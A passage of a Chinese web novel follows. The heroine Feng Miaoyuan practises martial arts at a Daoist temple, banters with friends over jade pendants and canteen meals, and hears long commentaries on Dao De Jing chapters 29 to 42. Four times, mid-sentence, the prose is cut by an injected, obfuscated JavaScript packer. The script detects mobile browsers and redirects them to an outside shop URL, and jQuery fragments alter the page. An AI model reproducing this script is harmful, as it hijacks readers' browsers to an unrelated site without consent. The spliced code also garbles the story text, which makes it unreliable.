话说冯妙元从三岁就在白云观练习武艺，教练正是道国昌家镖局的总镖头段鸿。这个人为人严谨，一丝不苟，眼神犀利，身手敏捷，也是妙赞国远近闻名的镖师。他不出镖的时候就来白云观传授武艺，道国昌姊妹和吴家兄弟，李家兄弟都在那里。冯妙元跟她练武以来，没少挨她打，十岁以后，她就用各种理由隔三差五的去。方祖蕊也是隔三差五的去，但比冯妙元去的勤。 冯妙元呕不过母亲，第二天叫了方祖蕊到了白云观。看见练武的里面只有道国薇和李承坤。冯妙元说道：“你哥他们呢？”。道国薇说到：“去马场练马了，最近他们也不经常来，好些时候就我一个，今天还好，有个李承乾陪呢”。 说着冯妙元来到了大殿。看见方喜云和段鸿在聊天，赶紧跪在大殿道祖像前行了礼。段鸿说道：“元儿这姑娘长大了，越发水灵了”。方喜云说道：“就是淘气了些，让师傅费心了”。段鸿说道：“孩子淘气是有的，我会管教他们的”。冯妙元听到这里，心想：“完了，这家伙师傅又得打我”。 他们说完话，就让冯妙元和方祖蕊起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156646|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，坐在了旁边，万喜云交代了几句就去跟着段鸿练武了。 来到外面，段鸿说道：“武术不是学会就行了，要熟练，你们现在各种套路虽然会了，不熟练也是不行的，不知道你们家里练了没练，元儿你打一遍我看”。冯妙元不敢怠慢，赶紧打了几个套路的拳法，身法。段鸿满意的说道：“嗯，不错，看来你家里没少练，今天我教你们一套棍法，好好学”。 教完棍，他就回镖局了，让他们自己去练。冯妙元口渴，就来到了方喜云的待客厅去倒水喝了，坐了不一会方喜云进来了，说道：“元儿，你要认真练”。冯妙元说道：“舅爷，他们几个里面就我最认真啦，我得休息会”。她说完话，看见方喜云欲要说什么。她赶紧又说道：“舅爷，你给我讲道德经，我喜欢学这个”。方喜云见有人喜欢悟道，他很是开心，立马就问道：“你学到那里了？”。冯妙元说道：“舅爷，你就从十二九章开始讲吧”。 方喜云说道：“道德经二十九章：将欲取天下而为之，吾见其不得已。天下神器，不可为也，不可执也。为者，败也。执者，失也。是以圣人无为，故无败。无执，故无失。夫物，或行或随，或嘘或吹，或强或羸，或挫或隳。是以圣人，去甚，去奢，去泰。 这里的意思是说，想夺取天下任意妄为的人，或者说想占有身边一切东西，任意糟蹋挥霍的人，我看他永远达不到目的。 天下是神圣的存在，或者说每个生命都是造化玄妙的存在，不可任意妄为，也不能执取纠结。任意妄为就会失败，执取纠结就会失去。 故圣人不主动有所作为，所以不会失败。不执取纠结，所以也就没有失去。 那些世间万物，有前行就有后退。或者前行，或者跟随，有缓和就有急切，有刚强就有羸弱，有安稳就有毁灭，有道的圣人要去掉极端，去掉奢侈，去掉过分。 这里主要告诉人们，天下或者生命，是道的玄妙所成，是不由人们掌控的。想太多，求太多，执太多，就会在自我的纠缠中苦觉难离。” 冯妙元听完说道：“就是说思考问题要取中道，做事要顺其自然，是这样吧”。 万喜云说道：“是的”。他继续说道：“第三十章：以道佐人主者，不以兵强天下 。其事好还。师之所处，荆棘生焉。大军之后，必有凶年。善有果而已，不以取强。果而勿矜，果而勿伐，果而勿骄。果而不得已 ，果而勿强。物壮则老，是谓不道，不道早已。 这里的意思是说，用道辅佐君主的，不以武力逞强于天下，以武力逞强于天下，很容易会得到报应，军队驻扎的地方，会民生凋敝，田地荒芜，荆棘丛生，大战之后必定是灾荒连年。 善于用兵的人，只求达到目的适可而止，不敢以兵力来逞强于天下，达到目的而不自高自大，达到目的而不张扬夸耀，达到目的而不骄横待人，只把胜利当做情非得已，并不因此逞强于天下。 事物发展到了盛状之后，就会趋于衰亡，因此逞强于天下是不合于道的，就会早早消亡。这里主要告诉大家，国不可轻易用兵，人不可随便杀戮，为之，国必灾随，人必病随，皆是强而不久，极而必衰，故圣人许命而不轻易取命，有为之也是不得已。” 冯妙元听完，很开心的就又去练武了，在这个暑假里，为了听讲，她每天都会来练武，顺便听两章道德经的章节。 25. 有妙道德释义录，妙元练武戏国昌 自从冯妙元回了县城，金有妙每天就在讲经室写书。每逢金灵金朵她们下地不忙了也会继续讲道德经。他想了许久，给书起名为《道德释义录》。 吴宽余和赵刚有时也不去帮父母干活，知道有这么个讲经室了，就过来晃悠。其实金有妙最怕她俩过来打扰的。 这天下午，天气炎热，大家都带着草帽上地了，赵刚又来讲经室晃悠。金有妙就问道“你二叔的瓷窑坊挣钱吗？”。赵刚说道：“我也不知道，我二叔今年快三十的人了，一直没找到媳妇，可能也是没攒到什么钱吧”。 赵刚继续说道“你问这个干嘛？难不成你要去学艺”。金有妙说道：“我想去打工，看能不能贴补下家里”。赵刚说道：“刚进去的学徒有饭吃就不错了，更别说工资了”。 赵刚继续说道：“听说他县城里有一个相好的，好像是做裁缝的，我二叔都会去他哪里买东西，说是买，其实也是送，他怎么会有钱找工人呢，活都是他一个人干”。金有妙一听，也不再提了。 话说冯妙元这天在白云观练武，道国昌带着道国元走了进来。冯妙元看到他俩进来，就说道：“国昌兄你几天没来这里练习了，恐怕生疏了吧，要么比试比试？”。 道国元说道：“你我可不敢比，倒是有个人愿意的很啦”。说完话他看向了道国元，道国元赶紧说道：“怪不得姑娘那天三两下把我放倒了，原来是个练家子”。道国昌说道：“对付你，她用不到三两下，她可是我们这里出了名的秀拳花样多”。冯妙元一听，说道：“看我不打死你这个碎嘴的，你这是损我呢还是夸我呢”。 方祖蕊见状，就说道：“国元兄就剩这张嘴有能耐了，你敢不敢和妙元姐比试比试”。道国昌见她这么说，就看着道国元说道：“你来，我给你指点，别让她俩看扁喽”。 道国元拱手说道：“那就向姑娘讨饶几招”。没等他话说完，冯妙元一把抓住他抬起的手，一个侧身，腿下绊住向前用力一拉。道国元眼看就要趴下了，说时迟那时快，道国昌一把扶住了他，一个半弧周转，把道国元转到了旁边。然后就朝冯妙元的肩膀抓了过去，冯妙元一把抓住他的手腕，用力向前一个拧甩，道国元立马一个虎口反锁，反拧了过来。冯妙元知道这个时候如果不放手，必被他反制住。就立马放手后退了三步。 冯妙元说道：“国昌兄几天不见这是进步了啊，佩服”。道国昌拱手不知道要说什么，冯妙元一个黑虎掏心，拿了他的腰间玉佩，戏说道：“国昌兄，能不能拿回你的玉佩啊”。道国昌说道：“不要了，送你了”。冯妙元说道：“既然你都这么说了，那我把我的东西送给祖蕊妹妹那就和你没关系了”。说着把玉佩递给了方祖蕊。 道国元见状，感觉有点过意不去，就偷偷找到方祖蕊说道：“我用东西换你的玉佩，好不”。方祖蕊说道：“你用什么换呢”。道国元拿出了一个玉佩，显然看上去要比道国昌的华丽珍贵多了。就说道：“我用这个换，这个玉佩我从未离身过”。方祖蕊说道：“我随便要你这么贵重东西做甚？”。道国元说道：“我看姑娘也是义信之人，这事本因我而起，必会怜我难做之事，也不会拒绝我吧 ”。方祖蕊听他这么一说，也没有不换的理由了，就把玉佩换他了。 完了以后，冯妙元看见道国昌又戴回了玉佩，就知道是方祖蕊拿了道国元的玉佩换的。心里就明白了方祖蕊的心思了，以后的日子里她总会撮合她俩。 道国元接着说道：“我知道这里有很多松鼠，不怕人的，我带你们去喂，很可爱”。冯妙元说道：“你们去吧，我舅爷给我安排了课程要讲，讲完我过来找你们”。 冯妙元来到舅爷修道间，方喜云开始讲道：“道德经第三十一章：夫兵者，不祥之器，物或恶之，故有道者不处。君子居则贵左，用兵则贵右。兵者不祥之器，非君子之器，不得已而用之，恬淡为上。胜而不美，而美之者，是乐杀人。夫乐杀人者，则不可得志于天下矣。吉事尚左，凶事尚右。偏将军居左，上将军居右，言以丧礼处之。杀人之众，以悲哀泣之，战胜以丧礼处之。 这里的意思是说，兵者，是不祥的东西，人们以及动物，包括鬼神都讨厌它，所以有道的人不接近它，君子居处，以左为贵，用兵打仗，以右为贵，这里面的左和右表示两个不同的道路或者方法。 兵是个不祥的东西，不是君子的道路和方法，万不得已而不可用，最好淡然处之，胜利了也不要自鸣得意，自鸣得意就是乐于杀人，这样的人不可能取得天下，这里的天下既是江山也是人心。 吉祥的事和凶险的事也是两个不同的道路或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156647|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者方法，偏将军用吉祥的道路方法，上将军用凶险的道路和方法，就说出兵打仗是办一场丧礼，杀了人的人，以悲哀哭泣他们，胜利了以葬礼祭奠处之。(看这个结果，上面的上将军和偏将军其实说的出兵必须带的两种心态和慎重。这段文字主要说的打仗非儿戏，慎之又慎)。” 方喜云又讲道：“道德经第三十二章：道常无名。朴虽小，天下莫能臣。侯王若能守之，万物将自宾。天地相合，以降甘露，民莫之令而自均。始制有名，名亦既有，夫亦将知止，知止可以不殆。譬道之在天下，犹川谷之于江海。 这段文字是说，道永远处在没有名字的状态，这里的话是说，道本性明，无中生有，变化莫测，所以没办法命名字，这里的朴就是能够变幻一切的那个点，它虽然小，天下万物都是它变现。所以朴亦可名为妙心。 所以，没有能让它臣服的，诸侯和王如果能守住它，万物百姓将自己来臣服，这里我强调下，其实我们每个人都是那个妙心的点，一人一世界。 只要我们每个人能守住自己内心的那个朴，物能尽享用。但不可贪，若贪必祸。天地一切合化运转，才能降下甘露，没有人命令它均匀它自然均匀。刚开始制作出来就给它命名字，命了名字就是所谓的“有”了。所以，亦能知道它的停止和消失。能知道适可而止就不会有灾祸。道存在于天下，协合统一，就如同川谷之流都归大海。 这段文字主要说的是万物怎么来的。核心是那个“朴”散开来，然后因明立名，即名立有，就是世界。至于那个“朴”其实就是我们每个人的“心”，也是天地万物的“心”，实物我一妙心。” 冯妙元听完，说道：“这么说，世界就是我们每个人的心创造的，这每个心又是同一个觉明之性，就是道，是这样吧？”。方喜云说道：“是的”。 冯妙元听完经出来，就来到了白云观后花园，看见他们喂松鼠，真有松鼠不怕人的。冯妙元过来，松鼠一溜烟就上了树，道国昌看着冯妙元说道：“你看你过来，松鼠都怕你”。冯妙元说道：“万物都有不明状况的趋吉避凶的应机反应，怎么会是怕我呢，等会它们明白状况了，就又下来了”。果不其然，松鼠一看没有危险，又下来吃了。完了他们就回家了，道国元倒是想说什么，又没有开口。 26. 转眼暑假要结束，妙元收录道德经 冯妙元就这样，每天听经练武，时间不觉过去了十天了，暑假也快要结束了。这十天里，她断断续续的学了道德经第三十三章到四十章。大概内容分别呈于下面，她把也把自己已经学过的做了收录。 道德经三十三章：知人者智，自知者明。胜人者有力 。自胜者强 ，知足者富。强行者有志。不失其所者久。死而不亡者寿。 这里的意思是说，认识别人的人很智慧，知道自己的人那叫明白。这两句话主要体现了，明白与智慧的差别，智慧是一种学来的法则，但明白是通达实相的开悟。 战胜别人就是强大有力量，但是战胜自己就需要知道满足，知道满足就是最大的富有，这里主要说的求道的功德富有，非人间假富。 强迫自己做自己认定的事，那就是志气，就是这种志气，也要符合道，要不然也不会持久，这里主要表达的是，不符合道的努力也会让人身心疲惫而放弃。 所以说，能够明了死而不会消失的根本才是长久啊。最后一句话是告诉大家，生命本道觉明，非生非死，非从哪里来，也不会到哪里去。是我们妄认有生死，故成就了生死的概念。 道德经第三十四章：大道泛兮，其可左右。万物恃之，以生而不辞，功成而不有。衣养万物，而不为主。常无欲，可名于小﹔万物归焉，而不为主，可名为大。以其终不自为大，故能成其大。 这里的意思是说，大道遍满播洒，怎么会这边多一点，那边少一点呢？这里主要强调大道运行不会偏袒，万物都依靠它，“道”就以生发的功用赠许它，不会辞退它，使万物自然生发运行收敛。“道”成就了这样的功德，那也找不到道的“有”在哪里，就像一个家庭，给许万物衣食，但不认为自己是家长而做主。 道恒常没有欲望，我们可以叫它为“小”，(这里为什么把无欲名为小呢？那是因为相对于人们的“有欲”而言的，世界就是每人的欲望开发的总和，它很大，那么对应的“无欲”故名为小)。 道接纳万物归来，也不认为自己是家长而做主，可名为大，这里为什么把归来称作“大”呢，这就如同道是一个家，万物都可以回家，所以，这个家就大)。 就是因为至始至终没有认为自己大，所以就能装下万物才能成其大。 道德经三十五章：执大象，天下往。往而不害，安平泰。乐与饵，过客止。道之出口，淡乎其无味，视之不足见，听之不足闻，用之不足既。 这里的意思是说，端着道这样的大镜像，天下的一切来往运行，他就会特别通透，但不会伤害到他们，这样天下的运行就是安全平稳健康。 音乐和美食，可以使过路的人止步不前。而道的叙述可能平淡没有味道。用眼睛去看，也看不到。用耳朵去听，也听不到。起作用，但又无处追寻其即是。 这里主要强调，世界是我们的六根和谐配合工作而安排的妥当。但六根发用的那个根本的道，无色无声无味无踪无迹。实际它用之不竭。 道德经三十六：将欲歙之，必故张之﹔将欲弱之，必故强之﹔将欲废之，必故兴之﹔将欲取之，必故与之。是谓微明，柔弱胜刚强 。鱼不可脱于渊，国之利器不可以示人。 这里的意思是说，就是因为想收敛它，所以才括张它。就是因为想削弱它，所以才强壮它。就是因为想废除它，所以才兴盛它。就是因为想获取它，所以才要赠与它。这样就可以称为是通透的明白，以退为进，柔弱是可以胜过刚强的。 有活鱼的水域不能没有水的源头，国家的利器不能给人展示。这里话是说，太明确的赠予或者成就别人，就不能隐藏那个目的，智慧就会用过了头，反而不会长久。 就像静止的水塘鱼儿不能常存，过于展示利器反而早早灭亡。这里主要表达的是，再怎么厉害的智慧，也不会比合道“无”为自然长久。反而因过早的展示而速速败退。 道德经三十七章：道常无为，而无不为。侯王若能守之，万物将自化。化而欲作，吾将镇之以无名之朴。无名之朴，夫亦将不欲。不欲以静，天下将自定。 这里的意思是说，道是没有欲望的，它只是一种如是如实的觉明之性。反而这种不自为，而成就了世人的一切为。 诸侯王如果可以守住这个根本的运作，明察毫微，万物百姓自然会井然有序，然后各自就去做各自的事了。若各人私欲发展到过甚，我将用这个没有名的“朴”镇住他，这个无名的朴也是没有欲望的。 这里的话比较难懂，其实说的是人们私欲发展到过甚，自己内心就会纠结痛苦，然后他自己自然就会回归，这就是无名之“朴”的厉害。因为这个无名之“朴”常存无欲呀。就因为没有欲望，天下将自己回归安定。 道德经第三十八章：上德不德，是以有德，下德不失德，是以无德。上德无为而无以为，下德无为而有以为。上仁为之而无以为，上义为之而有以为。上礼为之而莫之应，则攘臂而扔之。故失道而后德，失德而后仁，失仁而后义，失义而后礼。夫理者，忠信之薄，而乱之首。前识者，道之华，而愚之始。是以大丈夫处其厚，不居其薄。处其实，不居其华，故去彼取此。 这里的意思是说，合于道的德不表现为德，这是真正的德。不合于道的德，看似没有失去德性，实际是没有德。合于道的作为是这样的，以无心之心为己心，不认为是自己的功劳。不合于道的作为是这样的，以有心之心为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156648|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己心，谦流表面，实际就是为了表现自己的功劳。 注重仁的人，做事不认为是自己的功劳。注重义的人，做事是坚守自己的原则。注重礼的人，做事没有得到回应，就会伸出胳膊强拉硬拽。 所以，失去了道才讲德，失去了德才讲仁，失去了仁才讲义，失去了义，连原则都不要了，才强拉硬拽。所以说，礼啊，就是忠和信的末尾，混乱的开始。那些所谓的先知者，不过是道的虚华，是愚蠢的开始。所以，大丈夫立身敦厚，不居浅薄。处人朴实不虚华。故要取“道”弃“礼”。 道德经第三十九章：昔之得一者：天得一以清﹔地得一以宁﹔神得一以灵﹔谷得一以生﹔侯王得一以为天下贞。其致之也，谓天无以清，将恐裂﹔地无以宁，将恐废﹔神无以灵，将恐歇﹔谷无以盈，将恐竭﹔万物无以生，将恐灭﹔侯王无以贞，将恐蹶。故贵以贱为本，高以下为基。是以侯王自称孤、寡、不谷。此非以贱为本邪。非乎。故致誉无誉。是故不欲琭琭如玉，珞珞如石。 这里的意思是说，往昔得到这个“一”的，是这样的，天得到这个“一”才会清明，地得到这个“一”才会宁静，神得到这个“一”才会灵动，谷得到这个“一”才会生长，诸侯和王上得到这个“一”才能让天下运行不离正确的法则。这给我们传达了这样的事实，天没有清明恐怕就会崩裂，地没有宁静恐怕就会塌陷，神没有灵动恐怕就会停歇，谷没有充盈恐怕就会枯竭，万物没有生发恐怕就会灭亡，候王没有治世的法则，天下恐怕就会颠覆。 所以说，贵以贱为根本，高以下为基础，所以候王自己称自己为孤寡不谷，这难道不是以贱为本吗？除非这样，才能通达最美的赞誉就是没有夸赞的妙理。 所以，有道的治理者不愿意如玉一样华美，宁愿像石头一样坚实朴素。这段文字里的“一”说的是孕育天地万物生命的那个根本，此种存在无形无相，但又如无存在，亘古不失，一切都是它在运作。 道德经第四十章：反者道之动﹔弱者道之用。天下万物生于有，有生于无。 这里的意思是说，回归就是道的动态了。为什么回归就是道的动态呢？而不是散发呢？根据下文，一切的万物生于“有”这个名，“有”的这个概念如果不辩识，不分别，不命名，它和无没有什么差别，复归于无，故说回归就是道的动态了。 什么是弱者道之用呢？根据下文，有既然是对道本觉明的妄认而名，那么有中遍满道本虚明的本质，此虚明就是道的用处，故说弱者道之用。 后面两句是说，天下的万物生于有，这就是说万物只是概念而已，有散开来就是万物了，有生于无是说，有的这种概念是从无的虚明中产生的。 27. 元离马场返京城，假满妙灵回学院 话说道国元那天来到白云寺，其实是来给妙元道别的，他的马场学习结束了，打算回妙理城。由于发生了那些个事情，也就把要回去的事没有说。 就在学院开学的前一天，妙元碰到道国昌，就问道：“我们摔跤那天，道国元来白云寺干嘛来了？”。道国昌说道：“人家马场学习结束了，要回妙理城，是来给你道别的，结果你险些摔了人家一个四肢爬地，他那有面子再给你道别呢”。冯妙元一听，觉得自己确实当时有点没轻重了，就问道：“那你咋说的呢？”。道国元说道：“人家看上你了，你看不出来啊？。我自然回他说，你对谁都那样，小姑娘家家的，率性的很，对谁都那样，没有分别的。谈不上看上看不上，你别往心里去”。冯妙元说道：“你可别胡说，我看他挺看上祖蕊妹妹的，玉佩都给她了”。道国元说道：“那玉佩是用我的这块换的，道元他是过意不去我丢了玉佩，其实我还真想送你了，就怕你不要”。冯妙元说道：“你是我的好大哥，改天见到他，替我道个歉吧”。道国昌答应了声“好”，他们就分别忙各自的去了。 道国元回道妙理城之后，还是觉得，没有给冯妙元道别有些遗憾，心情也有些低落。不过他还是不敢怠慢，来到了王国大殿，述理交代。 国王道守平问道：“马场建设还缺什么吗？”。道国元回道：“马场建设已经很完备了，就是马匹不好搞”。道守平说道：“现在有几匹马？”。道国元说道“差不多3000匹”。道守平又问道：“蚕种的普及如何了？”。道国平说道“蚕种发下去，因为我们这里桑树不够，农人用槐树叶子顶替，死的比较多，传播知识还是第一任务”。 道守平沉思了半天，说道：“桑树非一年之功，最少也要三年，技术和人才更是非三五年能成型，你有什么政策吗？”。 道国元说道：“隔壁蚕盛国本就蚕丝业发达，如果两国能并一国，那就不愁马匹的钱了，这是上策，一年见成效。听说盛秋丰驾崩了，新国王立志革新为民，这是个机会”。 道国元继续说道：“我们就像建立马场那样专门建立一个桑树林，请女工于桑树林专门养蚕，这比蚕种进农户便于管理，且容易总结经验。这是中策，三年有成效”。 道国元继续说道：“最后就是发放蚕种进农户，和养兔子那样收购蚕丝，道理上是比较完美的，可是农人没经验没桑树，多半蚕种浪费了，这是一个磨工的过程，十年见效，这是下策”。 道守平听了说道：“你回去了吧，我再考虑考虑”。 道国元从王殿出来，就回了家，他父亲是海容王，叫道守真，他们家原姓海，因疏导鹿泉河，治水有功而赐国姓，他有一个哥哥叫道国庆，比他大八岁，在户部任职。有个妹妹叫道国芳，和冯妙元同岁。 他刚进门，看见道国芳在门口浇花，道国芳把他堵门口问道：“哥哥，你有没有给我带一些好玩的东西回来”。道国元说道：“这次太忙，下次给你带”，说着就进了房间。 这天下午，金妙元，金朵，金灵，金梅他们收拾了下也要回县城。金灵和金梅背了一些面粉和土豆，金妙元和金朵则不用，他家本来就是金春海往回来背的。一路上，金有妙和金朵也会帮他俩换着背。 过了两个多小时，他们也到了县城，金灵和金梅来到了吴宽勇家，收拾了自己的出租房。金有妙和金朵来到了县衙，看见金春海。金春海问道：“在家里有没有帮莺儿和母亲干活？”。金朵怯生生的回答道：“帮着割了苜蓿，除了土豆地里的草”。金春海说道：“蚕业是我们国家现在的主要政策，需要大量人才，你要好好学，将来才有一碗饭吃”。金朵说道：“知道了”。 金春海回过头来问金有妙说道：“你这几年学业老先生有没有夸你？”。金有妙说道：“夸的少了”。金春海说道：“先生道办都不赏识你，谁推荐你？父亲就算有门路，也是县里的这打工活，这么多年你住这里，难道这个道理你看不明白吗？”。金有妙吓的一句话不敢说。金春海继续说道：“我们国家就是平民都有机会赐国姓，你的生活要你自己争取，上学不能贪玩，先生的问题平时要积极回答”。金有妙小声说道：“知道了”。 第二天，他们都就来到了学校。自从学校设了女子蚕业班，冯妙元他们以前上的女子特招班就撤了，他们都上一个班了，道课和蚕业大家都一样一起学了。男子和女子班是独立的，不在一起。冯妙元一直想着赶紧到中午了去吃饭，因为她就可以见有妙哥哥了。 到中午的时候，冯妙元去食堂碗柜里，拿了自己的碗，赶紧跑到了食堂。食堂的餐具都是自己专用自己的，吃完自己去洗，然后又锁回自己的碗柜。 冯妙元打了饭，找了一个座位坐了下来，怎么看也没看到金有妙，正感觉纳闷呢。忽然有人拍了她一下，她回头一看，是方祖蕊。冯妙元说道：“你个憨妹，吓我一条”。方祖蕊说道：“怎么的，一看不是你的妙哥，你失望了？”。冯妙元笑着骂道：“你个憨货，又来取笑我。要不是我拿了国昌的玉佩，你能得到他的玉佩？”。说完话，冯妙元笑着打趣道：“来，让我看看这玉佩啥样”，说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156649|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着就在她的腰间揣了揣。方祖蕊说道：“我就不给你看，看你把我能咋呢”。 她们俩正互相打趣着说话呢，对面忽然坐了一个人，她俩定神一看，是金有妙。方祖蕊会意的撇了一眼冯妙元。冯妙元说道：“这么怪怪的看我干嘛，你赶紧吃你的饭吧”。方祖蕊说道：“有妙哥哥今天带了什么好吃的要给我妙元姐啊？”。金有妙说道：“食堂就这些饭最是好吃了”。方祖蕊说道：“那自然是好吃，那有你的好吃呢”。冯妙元一听，说道：“你这小蹄子，看我不撕烂你的嘴，让你说。他那有什么好吃的呢”。方祖蕊说道：“他有没有好吃的，我就不得而知喽”。说话间，把碗欲端到隔壁桌子上去吃。冯妙元一把拉住了她，说道：“你别走啊，又不妨事的，你走的哪门子道理呢”。 金有妙说道：“就是哒，一起吃吧，大家有没什么秘密，你躲的哪门子道理嘛？”。方祖蕊说道：“我和你自然没有了，那你给我老实交代，你们山里都玩什么了，你们那里有啥有趣且好玩的？”。金有妙说道：“有花有草有庄稼，有山有鸟有豆荚”。方祖蕊说道：“还有仙子下凡尘陪你吧”。 冯妙元一听，脸微微一红，说道：“你这三两句话就没个正形，你这个憨猪蹄子，下次我带你去看看，你去看看有没有仙女下凡尘陪他呢”。方祖蕊说道：“你要舍得带我，上回就把我带上了，也不必我在这里猜了，我就直接见到了”，说完话，她“哈哈”的笑了。冯妙元一听，拧了她的胳膊说道：“我就知道你这小妮子在编排我，等我回去了收拾你”。方祖蕊说道：“那你的意思是你一直和他在一起喽，还骗我说去看阿爹呢”。 冯妙元一看上当了，被她套了话数，就不再说话了。也是自己心里太惦记，才上了她当，越说越不清，所以就直接不说了，赶紧吃起了饭。方祖蕊说道：“你怎么不说话了”。冯妙元说道：“我饿了，行了吧，吃饭都堵不上你的嘴，赶紧吃吧，这都凉了”。 吃完饭，金有妙拿着他们三个的碗就去洗了。冯妙元说道：“你怎么老说话没个正形呢？”。方祖蕊说道：“放心吧，他开心着呢，我看他巴望不得把你也给吃了”。冯妙元说道：“小蹄子，你又来了……”。 金有妙洗碗回来，把他们俩的碗交给了他俩，说道：“那我先回去了，你们俩赶紧也回去吧，要不然就迟到了”。 冯妙元看着金有妙回去的背影，目送了很远。方祖蕊看在眼里，也为她心疼。轻轻的拉了下她的胳膊，柔声说道：“我们也回去吧”。冯妙元轻轻的“嗯”了声就和她回去了…… 28. 食堂用餐有妙赠书，学堂学习灵朵说蚕 转眼开学已是一个多月了，金有妙的《道德释义录》也写完了。这天中午，他食堂吃饭的时候，就把这本书拿上了，因为这里是他和冯妙元唯一能碰头的地方。不是说学院大的找不到她，而是他不想给她制造麻烦，落人口舌。 和往常一样，冯妙元和方祖蕊在一起一个桌子吃饭。金有妙走了过去，坐了下来。方祖蕊说道：“这些许天你为什么躲着我们俩？”。金有妙说道:“我没有躲你们俩，是怕你俩不方便”。方祖蕊说道:“难不成你抢我的饭不成？”。 冯妙元一听，“噗嗤”一声笑了。但她心里是清楚的，一起吃饭太过频凡，恐怕给别人落个议论的口实。心想:“有妙哥哥虽为自己着想，可是又有什么能解她心里的相思之想呢”。 想到这里不觉惆怅了起来，方祖蕊瞟了一眼冯妙元，对着金有妙说道:“我知道你有你的理，可你知道那望眼欲穿的企盼吗？每天你的身影走过食堂，她都会久久目送到很远，你个没良心的”。 冯妙元想说的话，让方祖蕊这么一说，她心里倒是释怀多了。就说道:“我知道你心疼我，你不要说了”。然后深情的看了一下金有妙。 金有妙没有说话，他拿出了《道德释义录》放在了桌子上，这本他两个月来连夜赶工完成的书。说道“这个给你”。冯妙元说道：“这是什么”。金有妙说道：“这数月以来我们聊天的关于道的总结，八十一章我全部做了注解”。冯妙元把手按在了书上，金有妙伸过来了手，又撤了回去。轻轻的说道：“收起来吧”。 冯妙元看了他一眼，自然是懂他的意思的，也就没说话，把书默默的收了起来。 转眼他们吃完了饭，金有妙又去拿着三个碗去洗了。方祖蕊说道：“他可真有心，你没白想他一场嘛”，说着就拉起了冯妙元的手。又说道：“这手他不敢拉我敢拉”。冯妙元装作嗔怒道：“就你眼尖，我怎么没发现呢？”。方祖蕊说道：“你眼拙呗”。 他们说着，金有妙回来了，就说道：“你们先走吧，我再坐一会”。方祖蕊说道：“，有妙哥，那我们先走了”，说着就拉着冯妙元的手走向了碗柜。冯妙元回头说道：“有妙哥哥，那我们先走了”。说完就跟着方祖蕊去了。然后一步三回的出了食堂的门。 从此以后，每到夜深人静的时候。冯妙元都会拿出来读一读，封面上写着：“道德释义录的大字，和一列小字‘金有妙赠’”。 她翻开来，继续沿着她所学的进度往下看了去。 “道德经第四十一章：上士闻道，勤而行之。中士闻道，若存若亡。下士闻道，大笑之。不笑不足以为道。故建言有之：明道若昧﹔进道若退﹔夷道若颣﹔上德若谷﹔ 广德若不足﹔建德若偷﹔质真若渝﹔ 大白若辱﹔大方无隅﹔大器免成﹔大音希声﹔大象无形﹔道隐无名。夫唯道，善贷且成。 这里的意思是说，上等的修学人听闻道，就会去勤恳印证。中等的修学人听闻道，似有所悟，但终无所得。下等的修学人听闻了道，只会加以嘲笑，不被嘲笑也就不足以成为真正的道了。 所以，上古有这样的谚语，明显的道好像很暗昧，前进的道好像在后退，平坦的道好像很崎岖。崇高的德好像空谷，广大的德好像不足，健行的德好像怠懒，质朴存真的道好像时刻在改变，处处明白的道时时就会被忽视。 广大的空间是没有边际的，想用就能用的器物是不需要制成的，遍满一切处的声音恰恰是没有声音，遍满一切处的形象恰恰是没有形象，道就隐藏在这其中故常常没有名字。 就说这“道”啊，就像一个人人都可以用的能量或者工具，不吝啬的贷于每一个人，善用者就能成就。 如此觉明功性，我们用完的当下，立马就回归了道，当用当有，不用也不会被自己私有，故说贷。欲求道合道的人，想了悟真性的人，是善于这个贷的，知道用哪些功能最能成就。 ” “道德经第四十二章：道生一，一生二，二生三，三生万物。万物负阴而抱阳，冲气以为和。人之所恶，唯孤，寡，不谷，而王公以为称。故物或损之而益，或益之而损。人之所教，我亦教之。强梁者不得其死，吾将以为教父。 这里的意思是说，道存则一存，一存则二存，二存则三存，三存则万物存。 道生一，一就是“无”的名。一生二，二就是“有”的名。二生三，这个三是众生识心。何以故？世间一切，有识心就有“有”，一 